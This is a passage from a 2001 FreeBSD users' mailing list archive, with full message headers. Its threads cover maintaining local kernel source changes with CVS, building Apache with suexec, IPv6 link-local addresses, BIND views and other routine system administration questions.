way.. > other friends said to try to recompile the files for > freebsd ..but i don't know how to do that..:{{{.. Did you compile the binaries on your Linux system? If yes, there will probably be no major differences. > please help me with this matter because i realy need > those files .... > > or should i install linux 6.2 again ??? We won't feel liable if you will return to Linux and misery ... :-) Best regards Konrad Heuer Personal Bookmarks: Gesellschaft f=FCr wissenschaftliche Datenverarbeitung mbH G=D6ttingen http://www.freebsd.org Am Fa=DFberg, D-37077 G=D6ttingen http://www.daemonnews.o= rg Deutschland (Germany) kheuer@gwdu60.gwdg.de To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 5:31:33 2001 Delivered-To: freebsd-questions@freebsd.org Received: from cartman.private.techsupport.co.uk (cabletel1.cableol.net [194.168.3.4]) by hub.freebsd.org (Postfix) with ESMTP id 097A737B416 for ; Thu, 22 Nov 2001 05:31:30 -0800 (PST) Received: from ceri by cartman.private.techsupport.co.uk with local (Exim 3.31 #1) id 166tv2-0005rY-00; Thu, 22 Nov 2001 13:29:32 +0000 Date: Thu, 22 Nov 2001 13:29:32 +0000 From: Ceri To: Butch Evans Cc: freebsd-questions@freebsd.org Subject: Re: programmer needed Message-ID: <20011122132932.B14715@cartman.private.techsupport.co.uk> References: <002c01c17317$c7063780$6501a8c0@semo.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <002c01c17317$c7063780$6501a8c0@semo.net>; from bevans@bpstelephone.com on Wed, Nov 21, 2001 at 11:37:30PM -0600 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, Nov 21, 2001 at 11:37:30PM -0600, Butch Evans said: > I need a programmer [deletia] There is a FreeBSD-jobs list for stuff like this. Ceri -- I can please only one person per day. Today is not your day. Tomorrow isn't looking good either. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 5:32:47 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail2.resfeber.se (Resfeber-gw.customer.internet5.net [195.66.48.230]) by hub.freebsd.org (Postfix) with ESMTP id 6DD6C37B416 for ; Thu, 22 Nov 2001 05:32:43 -0800 (PST) Received: from resfeber.se ([212.75.72.9]) by mail2.resfeber.se (8.9.3/8.9.3) with ESMTP id QAA26876; Thu, 22 Nov 2001 16:33:16 +0100 Message-ID: <3BFCFDBF.3BFF5586@resfeber.se> Date: Thu, 22 Nov 2001 14:29:35 +0100 From: Jon Molin X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Anthony Atkielski Cc: FreeBSD Questions Subject: Re: Error on xl0 References: <021001c17359$5fa61cd0$0a00000a@atkielski.com> <3BFCFCD5.7950B58E@resfeber.se> <021701c17359$cb135550$0a00000a@atkielski.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Anthony Atkielski wrote: > > Jon writes: > > > you have read about kernelconfig in the > > handbook, haven't you? > > How else would I have discovered how to rebuild the kernel? by using this list as an 'Anthony-questions@freebsd.org' list? Like sendmail.org i guess you hadn't been to and all these 2-10 questions you ask every day to which many of them you could find the answers if you READ the man pages/handbook To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 5:38:58 2001 Delivered-To: freebsd-questions@freebsd.org Received: from freebie.atkielski.com (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by hub.freebsd.org (Postfix) with ESMTP id F37BC37B417 for ; Thu, 22 Nov 2001 05:38:54 -0800 (PST) Received: from contactdish (win.atkielski.com [10.0.0.10]) by freebie.atkielski.com (8.11.3/8.11.3) with SMTP id fAMDcKu00476; Thu, 22 Nov 2001 14:38:20 +0100 (CET) (envelope-from anthony@freebie.atkielski.com) Message-ID: <021c01c1735a$f429de40$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Jon Molin" Cc: "FreeBSD Questions" References: <021001c17359$5fa61cd0$0a00000a@atkielski.com> <3BFCFCD5.7950B58E@resfeber.se> <021701c17359$cb135550$0a00000a@atkielski.com> <3BFCFDBF.3BFF5586@resfeber.se> Subject: Re: Error on xl0 Date: Thu, 22 Nov 2001 14:38:21 +0100 Organization: Anthony's Home Page (development site) MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG If you don't wish to answer my questions, don't read them, and don't respond to them--you'll save yourself time and bandwidth that way. In the meantime, actions speak louder than words. ----- Original Message ----- From: "Jon Molin" To: "Anthony Atkielski" Cc: "FreeBSD Questions" Sent: Thursday, November 22, 2001 14:29 Subject: Re: Error on xl0 > Anthony Atkielski wrote: > > > > Jon writes: > > > > > you have read about kernelconfig in the > > > handbook, haven't you? > > > > How else would I have discovered how to rebuild the kernel? > > > by using this list as an 'Anthony-questions@freebsd.org' list? Like > sendmail.org i guess you hadn't been to and all these 2-10 questions you > ask every day to which many of them you could find the answers if you > READ the man pages/handbook > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 5:53:11 2001 Delivered-To: freebsd-questions@freebsd.org Received: from gic.mteege.de (ppps-nb03.MVnet.de [194.25.108.153]) by hub.freebsd.org (Postfix) with ESMTP id 8F71B37B405 for ; Thu, 22 Nov 2001 05:53:07 -0800 (PST) Received: (from matthias@localhost) by gic.mteege.de (8.11.6/8.11.6) id fAMDI2A39309 for freebsd-questions@FreeBSD.ORG; Thu, 22 Nov 2001 14:18:02 +0100 (CET) (envelope-from matthias) Date: Thu, 22 Nov 2001 14:18:02 +0100 From: Matthias Teege To: freebsd-questions@FreeBSD.ORG Subject: apache-modssl port and suexec Message-ID: <20011122141802.A26225@mteege.de> Mail-Followup-To: Matthias Teege , freebsd-questions@FreeBSD.ORG Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Moin, how do I build the apache13-modssl with suexec? I've tried make CONFIGURE_ARGS=--enable-suexec but it didnt build the suexec. So I build it with make suexec and put it in /usr/local/sbin but httpd -l gives me an: Compiled-in modules: http_core.c mod_so.c suexec: disabled; invalid wrapper /usr/local/sbin/suexec Were is the problem? Bis dann Matthias To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 6:11: 6 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hotmail.com (f168.pav1.hotmail.com [64.4.31.168]) by hub.freebsd.org (Postfix) with ESMTP id 2301D37B418 for ; Thu, 22 Nov 2001 06:11:02 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Thu, 22 Nov 2001 06:11:01 -0800 Received: from 200.3.154.6 by pv1fd.pav1.hotmail.msn.com with HTTP; Thu, 22 Nov 2001 14:11:01 GMT X-Originating-IP: [200.3.154.6] From: "Juan Luis Baptiste" To: jylefort@brutele.be, freebsd-questions@FreeBSD.org Subject: Re: IPv6 autoconfiguration Date: Thu, 22 Nov 2001 14:11:01 +0000 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 22 Nov 2001 14:11:01.0964 (UTC) FILETIME=[842BE0C0:01C1735F] Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Why do you want to get rid of that addresses? fe80 are link local addresses, and are the representation of the MAC address in EUI-64 format. And as far as I know, the are used for neighbor discovery and autoconfiguration purposes. From RCF 2461: link-local address - a unicast address having link-only scope that can be used to reach neighbors. All interfaces on routers MUST have a link-local address. Also, [ADDRCONF] requires that interfaces on hosts have a link-local address. Hope this helps, Juan Luis Baptiste M. http://www.merlinux.org >From: Jean-Yves Lefort >To: freebsd-questions@FreeBSD.org >Subject: IPv6 autoconfiguration >Date: Wed, 21 Nov 2001 21:57:40 +0100 > >Hi all, > >Previously addresses in the form fe80*% were assigned >automatically >to my IPv6 network interfaces. Having read that those fe80 addresses are >used >by IPv6 configuration, and having decided that I don't need this feature, I >have been able to disable the automatic assignation by appending the >following >line in my /etc/sysctl;conf: > >net.inet6.ip6.auto_linklocal=0 > >After a system reboot, the move seemed to be successfull for all interfaces >*but* the loopback interface: > ># ifconfig lo0 >lo0: flags=8049 mtu 16384 > inet6 ::1 prefixlen 128 > >>>> inet6 fe80::1%lo0 prefixlen 64 scopeid 0x2 <<<< > inet 127.0.0.1 netmask 0xff000000 > >Is there a way (other than ifconfig delete) to get rid of that address? > >Best regards, >Jean-Yves Lefort > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 6:13: 0 2001 Delivered-To: freebsd-questions@freebsd.org Received: from dire.bris.ac.uk (dire.bris.ac.uk [137.222.10.60]) by hub.freebsd.org (Postfix) with ESMTP id 9363B37B405 for ; Thu, 22 Nov 2001 06:12:56 -0800 (PST) Received: from mail.ilrt.bris.ac.uk by dire.bris.ac.uk with SMTP-PRIV with ESMTP; Thu, 22 Nov 2001 14:12:30 +0000 Received: from cmjg (helo=localhost) by mail.ilrt.bris.ac.uk with local-esmtp (Exim 3.16 #1) id 166uYp-0002yn-00; Thu, 22 Nov 2001 14:10:39 +0000 Date: Thu, 22 Nov 2001 14:10:39 +0000 (GMT) From: Jan Grant X-X-Sender: To: Anthony Atkielski Cc: Kelly Hendrix , FreeBSD Questions Subject: Re: Error on xl0 In-Reply-To: <021001c17359$5fa61cd0$0a00000a@atkielski.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, 22 Nov 2001, Anthony Atkielski wrote: > Jan writes: > > > If you've made changes to GENERIC, then you'll > > lose them and/or confuse CVS. If you've copied > > GENERIC to a new kernal config file and made the > > changes to that, cvsup by default won't delete > > that; however, changes to GENERIC won't be tracked > > into your new kernel config. > > I've copied the configuration to my own configuration file, so > that's not a problem, presumably. The thing is, now I've changed > one of the source files to redefine an internal parameter ... so how > do I keep that change to that particular source file > (/sys/pci/if_xlreg.h), and also make sure that it doesn't interfere > with the standard source? That, of course, depends. If your changes are a bugfix or a feature enhancement then the simplest course may be to send-pr the diffs and get them folded in to the main source. That means you've one less thing to worry about looking after :-) Otherwise, your options depend on how much source hackery you're planning on performing. If you've just got a small number of diffs that you'd like to apply then the line of least resistance may be to wrap your invocation of cvsup with a script that sticks your local fixes in place (that's what I do here). If you're planning on large-scale changes, you'll probably want to look at running your own copy of the CVS repository. -- jan grant, ILRT, University of Bristol. http://www.ilrt.bris.ac.uk/ Tel +44(0)117 9287088 Fax +44 (0)117 9287112 RFC822 jan.grant@bris.ac.uk There's no convincing English-language argument that this sentence is true. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 6:25:47 2001 Delivered-To: freebsd-questions@freebsd.org Received: from www.slackwit.com (static37.dsl.compuage.net [63.151.205.37]) by hub.freebsd.org (Postfix) with ESMTP id 13CA737B416 for ; Thu, 22 Nov 2001 06:25:44 -0800 (PST) Received: by www.slackwit.com (Postfix, from userid 1001) id 03A6918CA5; Thu, 22 Nov 2001 09:28:09 -0500 (EST) Date: Thu, 22 Nov 2001 09:28:09 -0500 From: Kelly Hendrix To: Anthony Atkielski Cc: FreeBSD Questions Subject: Re: Error on xl0 Message-ID: <20011122092809.A523@www.slackwit.com> Reply-To: Kelly Hendrix References: <021001c17359$5fa61cd0$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <021001c17359$5fa61cd0$0a00000a@atkielski.com>; from anthony@freebie.atkielski.com on Thu, Nov 22, 2001 at 02:26:58PM +0100 X-Freebsd-Version: FreeBSD 4.4-RELEASE i386 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello Anthony, On Thu, Nov 22, 2001 at 02:26:58PM +0100, Anthony Atkielski wrote: > I've copied the configuration to my own configuration file, so that's > not a problem, presumably. The thing is, now I've changed one of the > source files to redefine an internal parameter ... so how do I keep > that change to that particular source file (/sys/pci/if_xlreg.h), and > also make sure that it doesn't interfere with the standard source? To see the difference between two files, use diff. See the man page for diff for the gory details. You might also want to keep two sets of sources around: yours and the main source tree. Start with the man page for CVS , and then I suggest this site for further reading: http://www.cvshome.org/ Of course, the handbook also has a section on keeping your sources up to date. Personally, I use cvsup to keep track of my sources. Then again, the only files I'm modifying are the kernel configs. Kelly Hendrix -- ______________________________________________________________________ | There are two ways to live your life. One is as though nothing is a | | miracle. The other is as though everything is a miracle. | | | | Albert Einstein (1879-1955) | |______________________________________________________________________| To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 6:43:39 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mailg.telia.com (mailg.telia.com [194.22.194.26]) by hub.freebsd.org (Postfix) with ESMTP id AFB2437B405 for ; Thu, 22 Nov 2001 06:43:28 -0800 (PST) Received: from d1o913.telia.com (d1o913.telia.com [195.252.44.241]) by mailg.telia.com (8.11.6/8.11.6) with ESMTP id fAMEhQk04512 for ; Thu, 22 Nov 2001 15:43:26 +0100 (CET) Received: from ertr1013.student.uu.se (h185n2fls20o913.telia.com [212.181.163.185]) by d1o913.telia.com (8.8.8/8.8.8) with SMTP id PAA23795 for ; Thu, 22 Nov 2001 15:43:24 +0100 (CET) Received: (qmail 14225 invoked by uid 1001); 22 Nov 2001 14:43:19 -0000 Date: Thu, 22 Nov 2001 15:43:18 +0100 From: Erik Trulsson To: Anthony Atkielski Cc: FreeBSD Questions Subject: Re: Changing source code and rebuilding kernel -- how do I maintain my changes? Message-ID: <20011122144316.GA13807@student.uu.se> Mail-Followup-To: Anthony Atkielski , FreeBSD Questions References: <01e801c17350$4677f890$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <01e801c17350$4677f890$0a00000a@atkielski.com> User-Agent: Mutt/1.3.23.2i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, Nov 22, 2001 at 01:21:50PM +0100, Anthony Atkielski wrote: > In order to remove a diagnostic message, I need to change one line of if_xlreg.h > in the source code. What is the proper procedure for changing the file and > maintaining the change should the source code be updated? For the moment, I > just copied the original source to if_xlreg.h.old in the same directory, then > made my change, with a comment that I can grep if I need to find it in future. > Is this a good way to do it? What happens when I refresh all the source with > more recent versions? The easiest way to handle things like this is to use cvsup to maintain a local copy of the CVS repository. Then use cvs to update you source tree from your local repository. Cvs will not overwrite your local changes even if that file is modified in the repository but rather try to merge in your modifications in the new file. This way you also don't need to keep an extra copy of the file since you can always check out a fresh copy of the original file from the repository if necessary. The downside of this is that you will need a local copy of the repository which currently consumes about 1.3GB of disk space. (You could use anonymous cvs to update from a remote repository but that is fairly slow.) -- Erik Trulsson ertr1013@student.uu.se To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 7:19:37 2001 Delivered-To: freebsd-questions@freebsd.org Received: from femail16.sdc1.sfba.home.com (femail16.sdc1.sfba.home.com [24.0.95.143]) by hub.freebsd.org (Postfix) with ESMTP id 5601C37B416 for ; Thu, 22 Nov 2001 07:19:35 -0800 (PST) Received: from cl3112948b ([24.250.242.37]) by femail16.sdc1.sfba.home.com (InterMail vM.4.01.03.20 201-229-121-120-20010223) with SMTP id <20011122151931.SJPO20693.femail16.sdc1.sfba.home.com@cl3112948b>; Thu, 22 Nov 2001 07:19:31 -0800 Message-ID: <006f01c17368$ca481840$25f2fa18@mdsn1.wi.home.com> Reply-To: "Chris Byrnes" From: "Chris Byrnes" To: Subject: adduser.conf Date: Thu, 22 Nov 2001 09:17:24 -0600 Organization: JEAH Communications, LLC MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Is there an adduser.conf option to set the "welcome" e-mail to come from a specific e-mail address instead of the e-mail address of the person running the "adduser" script (IE: if i run adduser while su'ing root, the e-mail comes from chris@ instead of blah@ which I want it to come from.) Please cc: in replies. Thanks. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 7:26:19 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.sneakemail.com (mail.sneakemail.com [64.23.225.151]) by hub.freebsd.org (Postfix) with SMTP id 9CDB237B41B for ; Thu, 22 Nov 2001 07:26:09 -0800 (PST) Received: (qmail 3549 invoked from network); 22 Nov 2001 15:26:02 -0000 Received: from localhost (HELO boots) (127.0.0.1) by localhost with SMTP; 22 Nov 2001 15:26:02 -0000 Received: (qmail 3371 invoked from network); 22 Nov 2001 15:23:11 -0000 Received: from exim-colo-01.whoc.theplanet.co.uk (195.92.249.251) by mail.sneakemail.com with SMTP; 22 Nov 2001 15:23:11 -0000 Received: from localhost.localdomain ([127.0.0.1]) by exim-colo-01.whoc.theplanet.co.uk with esmtp (Exim 3.33 #4) id 166vhz-0007RC-00; Thu, 22 Nov 2001 15:24:11 +0000 Received: from ns2.wananchi.com ([212.49.74.4]) by exim-colo-01.whoc.theplanet.co.uk with esmtp (Exim 3.33 #4) id 166mK0-0005k0-00 for exim-users@exim.org; Thu, 22 Nov 2001 05:22:49 +0000 Received: from wash by ns2.wananchi.com with local (Exim 3.33 #1) id 166mFe-000JJE-00; Thu, 22 Nov 2001 08:18:18 +0300 Message-ID: <134760939.1006442762465.JavaMail.root@boots> Date: Thu, 22 Nov 2001 08:18:18 +0300 From: "Odhiambo Washington wash@wananchi.com [arthur/Exim Mailing lists]" To: dilbert@our.st Subject: [Exim] Annoying mailbot misconfig Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG * Jeremy C. Reed [20011122 04:19]: writing on the subject '(za8Y) BOUNCE vm-pop3d-users@lists.kmv.ru: Non-member submission from [W a s h i n g t o n ] (fwd)' | Odhiambo, | | Please fix your autoresponder! | | Do not have it autoreply to mailing lists. | | I know you are on the Exim mailing list. Recently there was some | discussion on making sure your autoresponder behaves correctly. Hello Jeremy & the others who I got annoyed, My autoresponder was sorted out. Yesterday after subscribing to vm-pop3d-users, I went to add the list name to the mailbot and kinda made a fatal error. (list1|\ list2|\ list3| vm-pop3d-users|) That ommission in the line continuation has caused so much grief to me and almost the whole world. At some point such fuck-ups come in because of so much pressure around. I highly regret it. -Wash +++ "You can do this in a number of ways. IBM chose to do all of them. Why do you find that funny?" -- D. Taylor, Computer Science 350 -- ## List details at http://www.exim.org/mailman/listinfo/exim-users Exim details at http://www.exim.org/ ## To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 7:32:54 2001 Delivered-To: freebsd-questions@freebsd.org Received: from SRDMAIL.SINP.MSU.RU (bigking.sinp.msu.ru [213.131.9.130]) by hub.freebsd.org (Postfix) with ESMTP id 3238C37B418 for ; Thu, 22 Nov 2001 07:32:51 -0800 (PST) Received: from [194.220.213.239] (helo=sinp.msu.ru) by SRDMAIL.SINP.MSU.RU with esmtp (Exim 3.33 #3) id 166vo3-000FhQ-00 for freebsd-questions@FreeBSD.org; Thu, 22 Nov 2001 18:30:27 +0300 Message-ID: <3BFD1A8F.1000504@sinp.msu.ru> Date: Thu, 22 Nov 2001 18:32:31 +0300 From: Dmitry Mottl Organization: SINP MSU User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:0.9.4) Gecko/20011004 X-Accept-Language: ru, en MIME-Version: 1.0 To: freebsd-questions@FreeBSD.org Subject: dynamic loaders Content-Type: text/plain; charset=KOI8-R; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, All What are /usr/libexec/ld.so and /usr/libexec/ld-elf.so.1? Why compat20,compat21,compat22 of FreeBSD distributive have their own /usr/libexec/ld.so? How do I install ALL compat2? -- best regards, Dmitry Mottl To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 7:43: 3 2001 Delivered-To: freebsd-questions@freebsd.org Received: from dan.emsphone.com (dan.emsphone.com [199.67.51.101]) by hub.freebsd.org (Postfix) with ESMTP id 2A0B737B417 for ; Thu, 22 Nov 2001 07:43:00 -0800 (PST) Received: (from dan@localhost) by dan.emsphone.com (8.11.6/8.11.6) id fAMFgnM76592; Thu, 22 Nov 2001 09:42:49 -0600 (CST) (envelope-from dan) Date: Thu, 22 Nov 2001 09:42:48 -0600 From: Dan Nelson To: "Patrick O'Reilly" Cc: FreeBSD Question List Subject: Re: Multiple NameD instances ? Message-ID: <20011122154248.GB11921@dan.emsphone.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.23.2i X-OS: FreeBSD 5.0-CURRENT X-message-flag: Outlook Error Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In the last episode (Nov 22), Patrick O'Reilly said: > Is there a way to run two instances of named on one box, with one instance > answering any requests that enter on the public interface, and the other > instance answering the private interface? > > Or, can one instance be configured to answer both, but making private > information available internally only, but public information available > either way? BIND 9 (in ports) has the concept of "views", where you can define an internal and external view with different zones for the same domain, and configure named to use one zone or the other based on the IP of the client requesting the inromation. -- Dan Nelson dnelson@allantgroup.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 7:55:10 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mailin10.bigpond.com (mailin10.bigpond.com [139.134.6.87]) by hub.freebsd.org (Postfix) with ESMTP id 0598137B417 for ; Thu, 22 Nov 2001 07:53:46 -0800 (PST) Received: from wskatinka ([144.135.24.75]) by mailin10.bigpond.com (Netscape Messaging Server 4.15) with SMTP id GN7LSO00.I0O for ; Fri, 23 Nov 2001 02:00:24 +1000 Received: from CPE-61-9-175-18.vic.bigpond.net.au ([61.9.175.18]) by bwmam03.mailsvc.email.bigpond.com(MailRouter V2.9k 8323/17651434); 23 Nov 2001 01:53:43 Message-ID: <025501c1736e$82705040$fe00a8c0@wskatinka> From: "Kathy Quinlan" To: Subject: Servers on bigpond adsl Date: Thu, 22 Nov 2001 23:58:20 +0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi all, I am looking at running a test server on my home ADSL link through Telstra Bigpond. I believe they use a port scanner to detect and kick us if we do it ?/ I am wondering if anyone has any ideas to over come it ?? I am only using it to test some websites and get feedback from people before dropping the webserver off to the local Primary School (is easier to make changes and work on it local rather than through their 56K modem) in both locations they are only handling redirections from a main server/ firewall machine, so no worries about swapping from PPPoE back to PPP Regards, Kat. ____________________________________________________________________________ /"\ ASCII Ribbon Campaign | K.A.Q. Electronics \ / - NO HTML/RTF in e-mail | Software and Electronic Engineering X - NO Word docs in e-mail | Perth Western Australia / \ | Ph +61 419 923 731 ____________________________________________________________________________ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 8:16:42 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hotmail.com (f4.law15.hotmail.com [64.4.23.4]) by hub.freebsd.org (Postfix) with ESMTP id 0E2DF37B416 for ; Thu, 22 Nov 2001 08:16:41 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Thu, 22 Nov 2001 08:16:40 -0800 Received: from 213.80.39.215 by lw15fd.law15.hotmail.msn.com with HTTP; Thu, 22 Nov 2001 16:16:40 GMT X-Originating-IP: [213.80.39.215] From: "Teo Carlsson" To: freebsd-questions@freebsd.org Subject: tar + tape Date: Thu, 22 Nov 2001 17:16:40 +0100 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1; format=flowed Message-ID: X-OriginalArrivalTime: 22 Nov 2001 16:16:40.0968 (UTC) FILETIME=[11C49880:01C17371] Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG If i only want to see the lapen of a tapebackup, how do i do? tar t /dev/sa0 list everything on the tape and i just want the label header.. /Teo _________________________________________________________________ Hämta MSN Explorer kostnadsfritt på http://explorer.msn.se To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 8:35:13 2001 Delivered-To: freebsd-questions@freebsd.org Received: from chaplin.csd.uwo.ca (chaplin.csd.uwo.ca [129.100.10.252]) by hub.freebsd.org (Postfix) with ESMTP id 3EA6F37B416 for ; Thu, 22 Nov 2001 08:35:07 -0800 (PST) Date: Thu, 22 Nov 2001 11:08:28 -0500 (EST) From: Fuji Zhang To: freebsd-questions@freebsd.org Subject: high speed internet connection and lesstif question Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG hi, does anybody have a working configuration for ADSL (phone line) high speed internet connection working w/ freebsd? more specifically, i plan to subscribe Bell Sympatico's high speed internet service. if anybody has it working, i'll really appreicate if you can give some pointers as to where to start. on lesstif, i wonder why some windows mysteriously crashes such as using xv to convert a gif file to postscript. i tried with antoher window manager, this problem goes away. but i'm hard core motif user. any insight? many thx. Fujie Zhang To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 8:43:23 2001 Delivered-To: freebsd-questions@freebsd.org Received: from marlo.eagle.ca (marlo.eagle.ca [209.167.16.10]) by hub.freebsd.org (Postfix) with ESMTP id 6584537B405 for ; Thu, 22 Nov 2001 08:43:21 -0800 (PST) Received: from BobLablaw (staff.eagle.ca [209.167.16.15]) by marlo.eagle.ca (8.11.3/8.11.3) with SMTP id fAMGg3M86072; Thu, 22 Nov 2001 11:42:03 -0500 (EST) (envelope-from freymann@scaryg.shacknet.nu) Message-ID: <046701c17374$d6fd2740$7301a8c0@eagle.ca> From: "ScaryG" To: "Fuji Zhang" , References: Subject: Re: high speed internet connection and lesstif question Date: Thu, 22 Nov 2001 11:43:39 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft 